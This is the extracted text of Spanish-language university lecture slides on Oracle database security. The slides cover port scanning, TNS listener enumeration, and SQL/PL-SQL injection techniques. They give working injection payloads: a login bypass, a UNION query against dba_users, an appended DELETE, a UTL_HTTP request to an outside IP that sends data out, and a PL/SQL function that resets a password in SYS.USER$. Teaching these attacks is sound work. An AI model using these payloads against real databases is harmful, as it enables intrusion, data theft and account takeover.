SEGURIDAD en BASES DE DATOS. Diplomado en Tecnologías de la Información. Dr. Ivo H. Pineda Torres Facultad de Ciencias de la Computación Benemérita Universidad Autónoma de Puebla e Instituto Tecnológico de Izúcar de Matamoros. Junio 2012 ORACLE: ARQUITECTURA DE RED 2 of 30 MEXICANOS AL GRITO DE GUERRA ATACANDO AL ORACLE!!!! 3 of 30 Caso apache 4 of 30 Caso apache Sin necesidad de tener un usuario y su password, los atacantes pueden enviar bloques grandes de información en los encabezados hacia el servidor HTTP de apache. Cuando el servidor víctima trata de procesar los datos los recursos del CPU y memoria son agotados, resultando en un DoS. ’Apache Killer’ Perl script. LOIC 4 of 30 Como identificar DB El escaneo de puertos se emplea para designar la acción de analizar por medio de un programa el estado de los puertos de una máquina conectada a una red de comunicaciones. Detecta si un puerto está abierto, cerrado, o protegido por un cortafuegos.Existen varios programas escaneadores de puertos por la red. Uno de los más conocidos es nmap, disponible tanto para Linux como Windows. 5 of 30 Rastreo de puertos TCP SYN En Wikipedia encontramos que: Para establecer una conexión normal TCP, es necesario seguir una negoci • Inician un paquete SYN en la máquina de origen, • Máquina de destino responde con un paquete SYN/ACK, • Responde la máquina que inicia la conexión por un paquete ACK. • Listo Una vez que se han cumplido estos pasos, se tiene la conexión TCP. Recuerdas que es el handshake??? 6 of 30 Rastrear puertos TCP SYN Un rastreador de puertos envía muchos paquetes SYN a la máquina que se está probando, y mira de qué forma regresan los paquetes para ver el estado de los puertos en el destino, interpretándolos de la siguiente forma: 1. Si al enviar un paquete SYN a un puerto específico, el destino devuelve un SYN/ACK, el puerto está abierto y escuchando conexiones. 2. En otro caso, si regresa un paquete RST (reset flag), el puerto está cerrado. 3. Por último, si no regresa el paquete, o si se recibe un paquete ICMP como Port Unreachable, el puerto está filtrado por algún tipo de cortafuegos. Haciendo este procedimiento para una lista de puertos conocidos, se logra obtener un informe de estado de los puertos de la máquina 7 of 30 probada. Rastrear puertos UDP. Tipos de Comunicación • Protocolo UDP no está orientado a la conexión, es posible realizar un escaneo. • No tiene un paquete SYN como el protocolo TCP, • Sin embargo si un paquete se envía a un puerto que no está abierto, responde con un mensaje ICMP Port Unreachable. • La mayoría de los escáners de puertos UDP usan este método, e infieren que si no hay respuesta, el puerto está abierto. • Pero en el caso que esté filtrado por un firewall, este método dará una información errónea. • Una opción es enviar paquetes UDP de una aplicación específica, para generar una respuesta de la capa de aplicación. • Por ejemplo enviar una consulta DNS. 8 of 30 Rastrear servidores y puertos de Oracle Para realizar esto se debe conocer almenos la dirección IP de la víctima. Relación de puertos de Oracle y los procesos asociados: 199 agntsvc 1831 emagent 4696 ocssd 1520-1530 tns 1850 java ORMI 6003 opmn 1748 dbsnmp 2030 omtsreco 6004 opmn 1754 dbsnmp 2100 tnslsnr 6200 opmn 1809 dbsnmp 2481 tnslsnr 6201 opmn 1808 dbsnmp 2482 tnslsnr 7777 Apch-OAS 1810 mngrwebsrvc 3025 ocssd 8080 tnslsnr 1830 emagent 3026 ocssd 9090 tnslsnr 9 of 30 Avisos como este Banco Azteca lo pusieron de rodillas con un ataque de DoS en el puerto 443 UDP 10 of 30 Rastrear servidores y puertos de Oracle Una vez que el servidor de Oracle ha sido descubierto, el primer puerto a identificar es el del TNS Listner (tnslsnr). ¿que se busca en este puerto? • Tipo de sistema operativo • Servicios que ofrece la base de datos. Esto se logra en los siguientes pasos: 1. LSNRCTL> set current_listener 10.1.1.1 2. LSNRCTL> version 3. LSNRCTL> services 4. LSNRCTL> status 11 of 30 analizando lo que entrega el LSNRCTL LSNRCTL> status Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1)) (ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521))) STATUS of the LISTENER Alias LISTENER Version TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 - Production Start Date11-OCT-2004 00:47:20 Uptime 0 days 0 hr. 22 min. 31 sec Security ON SNMP OFF 12 of 30 analizando lo que entrega el LSNRCTL. cont Listener Log File C:/oracle/ora92/network/log/listener.log DESCRIPTION=ADDRESS=PRTCOL=tcp(HOST=GLADIUS)(PORT=1521) DESCRIPTION=ADDRESS=PRTCOL=tcp(HOST=GLADIUS)(PORT=8080) (Presentation=HTTP)(Session=RAW)) DESCRIPTION=ADDRESS=PRTCOL=tcp(HOST=GLADIUS)(PORT=2100) (Presentation=FTP)(Session=RAW)) 13 of 30 analizando lo que entrega el LSNRCTL. cont Services Summary Service “ORAXP”has 1 instance(s). Instance “ORAXP”, status UNKNOWN, has 1 handler(s) for this service... Service “PLSExtProc ”has 1 instance(s). Instance “PLSExtProc ”, status UNKNOWN, has 1 handler(s) for this service... Service “oraxp.ngssoftware.com ”has 1 instance(s). Instance “oraxp ”, status READY, has 1 handler(s) for this service... Service “oraxpXDB.ngssoftware.com ”has 1 instance(s). Instance “oraxp ”, status READY, has 1 handler(s) for this service... The command completed successfully 14 of 30 resumen LSNRCTL Nos permite conocer: 1. Versión 2. sistema Operativo 3. Seguridad activada con password. 4. Ruta de los log files. 5. puntos de escucha. 6. Identificador de la BD (SID) para este caso ORAXP 7. envio de paquetes arbitrarios al TNS.(atacando-TNS.c) 15 of 30 PL/SQL. SQL* Procedural Language/SQL, basado en ADA y es parte integral de Oracle. Paradigma Un paradigma de programación es una propuesta tecnológica que es adoptada por una comunidad de programadores cuyo núcleo central es incuestionable en cuanto a que unívocamente trata de resolver uno o varios problemas claramente delimitados. 16 of 30 Paradigmas Tipos de paradigmas de programación más comunes: Imperativo o por procedimientos: Es considerado el más común y está representado, por ejemplo, por C, BASIC o Pascal. Funcional: Está representado por Scheme o Haskell. Este es un caso del paradigma declarativo. Lógico: Está representado por Prolog. Este es otro caso del paradigma declarativo. Declarativo: Por ejemplo la programación funcional, la programación lógica, o la combinación lógico-funcional. Orientado a objetos: Está representado por Smalltalk, un lenguaje completamente orientado a objetos. 17 of 30 Paradigmas Tipos de paradigmas de programación más comunes: Imperativo o por procedimientos: Es considerado el más común y está representado, por ejemplo, por C, BASIC o Pascal. Funcional: Está representado por Scheme o Haskell. Este es un caso del paradigma declarativo. Lógico: Está representado por Prolog. Este es otro caso del paradigma declarativo. Declarativo: Por ejemplo la programación funcional, la programación lógica, o la combinación lógico-funcional. Orientado a objetos: Está representado por Smalltalk, un lenguaje completamente orientado a objetos. Al momento de programar, en la práctica es habitual que se mezclen, dando lugar a la programación multiparadigma.Más usado es el de la programación orientada a objetos. 17 of 30 PL/SQL. SQL* Ejemplos de uso de PL/SQL: • 1.CREATE OR REPLACE PROCEDURE HELLO_WORLD AS BEGIN DBMS_OUTPUT. PUT_LINE ( ’ H e l l o , ␣ World ! ’ ) ; END ; • 2.- EXEC HELLO_WORLD • 3.- CREATE OR REPLACE FUNCTION GET_DATE RETURN VARCHAR2 IS BEGIN RETURN SYSDATE ; 18 of 30END ; Inyección PL/SQL. SQL* Ataque a ciegas por inyección SQL, en inglés, Blind SQL injection, es una técnica de ataque que utiliza la inyección SQL. Se evidencia cuando en una página web, por una falla de seguridad, no se muestran mensajes de error al no producirse resultados correctos ante una consulta a la base de datos, mostrándose siempre el mismo contenido (es decir, solo hay respuesta si el resultado es correcto). Categorias de inyección: • Manipulación de SQL • Inyección de código • Inyección por medio de llamada a procedimiento o función. • Buffer Overflow 19 of 30 Manipulación de SQL SELECT ∗ FROM u s e r s WHERE username = ’ bob ’ and PASSWORD = ’ mypassword ’ El atacante intenta manipular el código SQL para ejecutar: SELECT ∗ FROM u s e r s WHERE username= ’ bob ’ and PASSWORD= ’ mypassword ’ or ’ a ’ = ’ a ’ El operador WHERE tiene precedencia sobre el resto por lo que basta que una parte sea verdad para que se valide la entrada. 20 of 30 Manipulación de SQL. cont cuando se utiliza el operador UNION, lo que se busca es manipular una tabla para obtener filas de otra tabla. SELECT product_name FROM a l l _ p r o d u c t s WHERE product_name l i k e ’ %C h a i r s %’ El atacante intenta manipular SQL de esta manera, observe que se obtiene información además de los usuarios de la DB. SELECT product_name FROM a l l _ p r o d u c t s WHERE product_name l i k e ’ %C h a i r s %’ UNION SELECT username FROM d b a _ u s e r s WHERE username l i k e ’ %’ 21 of 30 Inyección de Código Se intenta añadir código adicional de SQL o incluso comandos. (raro en Oracle) SELECT ∗ FROM u s e r s WHERE username = ’ bob ’ and PASSWORD = ’ mypassword ’ DELETE FROM u s e r s WHERE username = ’ admin ’ ; 1−BEGIN ENCRYPT PASSWORD( ’ bob ’ , ’ mypassword ’ ) ; END ; 2−BEGIN ENCRYPT PASSWORD( ’ bob ’ , ’ mypassword ’ ) ; DELETE FROM u s e r s WHERE u p p e r ( username ) = u p p e r ( ’ admin ’ ) ; END ; 1 es la forma como se esconde el password y en 2 como se intenta modificar. 22 of 30 Inyección por llamada función Más de 1000 funciones en Oracle!! Código que se intenta modificar: SELECT TRANSLATE( ’ u s e r ␣ i n p u t ’ , ’ 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ’ , ’ 0123456789 ’ ) FROM d u a l ; con SELECT TRANSLATE( ’ ’ | | UTL_HTTP . REQUEST( ’ h t t p : / / 1 9 2 . 1 6 ’ 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ’ , ’ 0123456789 ’ ) FROM d u a l ; 23 of 30 Inyección por llamada función El atacante podrá manipular la cadena y el URL para incluir otras funciones y recuperar información útil de la base de datos. Al igual que las funciones en los lenguajes de programación, las funciones definidas por el usuario son rutinas que aceptan parámetros, realizan una acción, como un cálculo complejo, y devuelven el resultado de esa acción como un valor. El valor devuelto puede ser un valor escalar único o un conjunto de resultados. 24 of 30 funciones definidas por usuario UDF Las ventajas de utilizar las funciones definidas por el usuario son: • Permiten una programación modular. 25 of 30 funciones definidas por usuario UDF Las ventajas de utilizar las funciones definidas por el usuario son: • Permiten una programación modular. • Puede crear la función una vez, almacenarla en la base de datos y llamarla desde el programa tantas veces como desee. Las funciones definidas por el usuario se pueden modificar, independientemente del código de origen del programa. 25 of 30 funciones definidas por usuario UDF Las ventajas de utilizar las funciones definidas por el usuario son: • Permiten una programación modular. • Puede crear la función una vez, almacenarla en la base de datos y llamarla desde el programa tantas veces como desee. Las funciones definidas por el usuario se pueden modificar, independientemente del código de origen del programa. • Permiten una ejecución más rápida. 25 of 30 funciones definidas por usuario UDF Las ventajas de utilizar las funciones definidas por el usuario son: • Permiten una programación modular. • Puede crear la función una vez, almacenarla en la base de datos y llamarla desde el programa tantas veces como desee. Las funciones definidas por el usuario se pueden modificar, independientemente del código de origen del programa. • Permiten una ejecución más rápida. • Reducen el costo de compilación del código Transact-SQL 25 of 30 funciones definidas por usuario UDF Las ventajas de utilizar las funciones definidas por el usuario son: • Permiten una programación modular. • Puede crear la función una vez, almacenarla en la base de datos y llamarla desde el programa tantas veces como desee. Las funciones definidas por el usuario se pueden modificar, independientemente del código de origen del programa. • Permiten una ejecución más rápida. • Reducen el costo de compilación del código Transact-SQL • Permite obtener tiempos de ejecución mucho más rápidos. 25 of 30 funciones definidas por usuario UDF Las ventajas de utilizar las funciones definidas por el usuario son: • Permiten una programación modular. • Puede crear la función una vez, almacenarla en la base de datos y llamarla desde el programa tantas veces como desee. Las funciones definidas por el usuario se pueden modificar, independientemente del código de origen del programa. • Permiten una ejecución más rápida. • Reducen el costo de compilación del código Transact-SQL • Permite obtener tiempos de ejecución mucho más rápidos. • Pueden reducir el tráfico de red. 25 of 30 funciones definidas por usuario UDF Las ventajas de utilizar las funciones definidas por el usuario son: • Permiten una programación modular. • Puede crear la función una vez, almacenarla en la base de datos y llamarla desde el programa tantas veces como desee. Las funciones definidas por el usuario se pueden modificar, independientemente del código de origen del programa. • Permiten una ejecución más rápida. • Reducen el costo de compilación del código Transact-SQL • Permite obtener tiempos de ejecución mucho más rápidos. • Pueden reducir el tráfico de red. • La función se puede invocar en la cláusula WHERE para reducir el número de filas que se envían al cliente. 25 of 30 Algo de PL/SQL que puede ser ejecutado por PUBLIC CREATE OR REPLACE PROCEDURE LIST_LIBRARIES (P_OWNER VARCHAR2) AS TYPE C_TYPE I S REF CURSOR ; CV C_TYPE ; BUFFER VARCHAR2 ( 2 0 0 ) ; BEGIN DBMS_OUTPUT. ENABLE ( 1 0 0 0 0 0 0 ) ; OPEN CV FOR ’ SELECT␣OBJECT_NAME␣FROM ␣ ␣ ␣ALL_OBJECTS␣WHERE␣OWNER␣=␣ ’ ’ ’ | | P_OWNER | | ’ ’ ’ ␣AND␣O LOOP FETCH CV INTO b u f f e r ; DBMS_OUTPUT. PUT_LINE (BUFFER ) ; EXIT WHEN CV % NOTFOUND; END LOOP ; CLOSE CV ; END ; 26 of 30 Inyección PL/SQL. SQL* El procedimiento anterior (llamada función o procedimiento) lista todas las librerias que un usuario tiene asignado, el cual se suministra por la persona que ejecuta el código. La lista de librerias es enviada a DBMS_OUTPUT.PUT_LINE. El procedimiento se ejecuta de la siguiente manera: SET SERVEROUTPUT ON EXEC SYS . LIST_LIBRARIES ( ’ SYS ’ ) ; ver línea de SELECT. Por el solo hecho de usar comilla simple se puede realizar la inyección y colocar un código de consulta o selección a la base de datos. Se asume que el atacante logró acceder a la BD previamente. 27 of 30 Inyección en DELETE, INSERT Y UPDATE Inyectar en instrucciones del tipo DELETE, INSERT y UPDATE brinda al atacante más alternativas y flexiblidad que la que brinda SELECT, pues puede manipular tablas que incluso pueden no estar permitidas a su nivel. 28 of 30 Resetear el password en la tabla SYS.USER$ CREATE OR REPLACE PROCEDURE NEW_EMP(P_NAME VARCHAR2) AS STMT VARCHAR2 ( 2 0 0 ) ; BEGIN STMT:= ’ INSERT␣INTO␣EMPLOYEES␣ (EMP_NAME) ␣VALUES␣ ( ’ ’ EXECUTE IMMEDIATE STMT; END ; Y haciendo uso de esta fucnión podemos insertar un nuevo empleado: EXEC NEW_EMP( ’FOO ’ ’ | | SCOTT . GET_IT)−− ’ ) ; 29 of 30 Resetear el password en la tabla SYS.USER$ CREATE OR REPLACE FUNCTION RSTPWD RETURN VARCHAR2 AUTHID CURRENT_USER I S MYSTMT VARCHAR2 ( 2 0 0 ) ; BEGIN MYSTMT:= ’UPDATE␣SYS . USER$␣SET ␣ ␣ ␣ ␣ ␣ ␣ ␣␣␣␣␣␣␣PASSWORD␣=␣ ’ ’ FE0E8CE7C92504E9 ’ ’ ␣ ␣ ␣ ␣ ␣ ␣ ␣␣␣␣␣␣␣WHERE␣NAME= ’ ’ANONYMOUS ’ ’ ’ ; EXECUTE IMMEDIATE MYSTMT; RETURN ’FOO ’ ; END ; 30 of 30